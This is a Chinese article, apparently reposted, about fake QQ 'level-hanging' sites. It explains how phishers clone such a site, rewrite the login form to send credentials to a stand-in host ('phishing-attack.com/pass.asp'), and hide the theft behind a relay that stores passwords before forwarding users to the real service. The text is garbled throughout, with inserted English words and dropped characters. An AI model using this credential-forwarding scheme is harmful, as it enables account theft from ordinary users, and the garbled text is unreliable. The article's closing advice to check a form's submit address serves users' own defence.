风潮,谁都为了腾讯所谓等级在不断挂Q 挂Q,就连挂着QQ 拿个等级有啥作用也不知道人,看着别人有自己没有就感觉特不爽,所以慢慢挂Q成为了
种时尚,也成为了种新业务.网上各种各类挂QQ网站WebSite层出不穷,而且没有丝毫减少,但是有没有人去怀疑你所使用挂QQ 网站WebSite是不是真安全了? 为了保护作者以及杂志社本身请大家看完”免责声明”后方可阅读.
免责声明:
作者无法鉴别判断读者阅读本文后
用途
如果读者在阅读本文后违反国家法律规定而出现纠纷和及不良结果由行为人独立承担所有责任本文作者以及刊登该文章杂志社均不负责也不承担任何法律责任
现在盗取任何聊天软件Software
号码,不外乎就是利用盗号软件Software以及键盘记录软件Software记录被种植主机账号以及密码,这种累赘而又需要多方软件Software支持手法已经过时了,而现在行的有效就是利用无污染(不需要软件Software以及任何病毒)去进行盗取账号密码网络钓鱼攻击,网络钓鱼已经变成了黑客以及些不法分子用来进行银行账号以及等等相关敏感信息盗取最有效最快速途径,而我们也可以利用网络钓鱼在夜的间拥有成千上万QQ 号以及密码(甚至于QQ 密保信息).首先钓鱼者本身是会仿冒个挂QQ 网站WebSite页面,
要致使访问者可以相信,所以在仿冒会根据时下最多人访问挂QQ 网站WebSite进行设计(如图1.) 仿冒好
个虚假网站WebSite的后,钓鱼者本身会想办法如何去保存所钓到资料,通常在钓鱼网站WebSite中都会采取本地记录相关资料,但是整个用户使用流程就会在输入账号以及密码后出现问题,就是说钓鱼者自身会想个借口出来说:”该系统因系统繁忙,暂时无法为你服务!”等等理由,让被钓者信服,但是现在作为被钓者本身已经不再这么愚蠢,所以传统钓鱼模式已经无法行得通.为了可以使被钓者整个使用流程不会出现任何怀疑,所以钓鱼者会在提交处做定手脚.让我们看看例子: }
function Login
{window.open("about:blank","qqLogin",
"width=400,height=300,resizable=no,scrollbars=no,status=no,toolbar=no,menubar=no,location=n
o");
document.QQForm.target = "qqLogin";
document.QQForm.action = "login.asp";
document.QQForm.submit
; }
篇幅关系删除多余语句 从上面
代码我们可以看到,这是个正常挂Q网站WebSite登录页面代码,当用户访问网站WebSite时候,输入账号以及密码就会提交给login.asp 页面,然后再转去挂Q系统.如果作为钓鱼者本身想完美结合真实挂Q 网站WebSite去完成整个操作流程,那样子他就必须在这个提交页面做些修改,使到被钓者信息先存储在自定地方,然后再转发到真实挂Q 网站WebSite,所以钓鱼者会有可能把代码提交语句修改为: document.QQForm.action = "http://www.phishing-attack.com/pass.asp";
在这里我们可以看到钓鱼者把提交
数据转发过去了www.phishing-attack.com网站WebSite,为了避免数据会被发现,所以钓鱼者利用中间站记录用户所提交信息.可能大家会问到那整个钓鱼过程是如何样了?我给个比较简单过程大家看看 钓鱼网站WebSite--------------中间记录站----------------真实挂Q网站WebSite
当用户访问
时候,会将密码提交给钓鱼网站WebSite,钓鱼网站WebSite会把数据转去中间记录站,然后在中间记录站进行数据保存,再次将用户所提交数据提交给真实挂Q网站WebSite,这样子在过程中用户不单止可以完成整个操作流程,并且钓鱼者本身可以记录密码信息延长整个钓鱼网站WebSite生命周期(作者注:通常钓鱼网站WebSite自身生命周期为15 天).整个思路就是如此了,然而中间站作用是为了保存信息以及保护信息安全性,不必担心当虚假网站WebSite被发现时,所保存数据会被发现,通常这些作为中间站网站WebSite都是钓鱼者傀儡,有可能是被入侵后,或者利用免费空间或者是只有7 天试用测试空间作为临时中转. 本文在此就把整个钓鱼网站WebSite
过程说清楚了,内容有定危害性,所以把中间站以及真实站的间技术问题都屏蔽了,大家在使用挂Q网站WebSite时候,请多留心注意下挂Q网站WebSite首页源码,看看提交处地址和你所使用网站WebSite地址是否致,如果是致话,也不用这么高兴,如果钓鱼者本身是在本地记住你信息,那样子你还是样躲不过被钓威胁,QQ 等级是否真比你号码还重要,如果你觉得还是等级重要话,你可以放心去挂你QQ,我和玄猫有句话送给大家:”平平安安网站WebSite挂,哭哭啼啼QQ 丢”.请大家看清楚相关利弊关系别麻木去相信所谓挂QQ 网站WebSite!本文到此结束
最新评论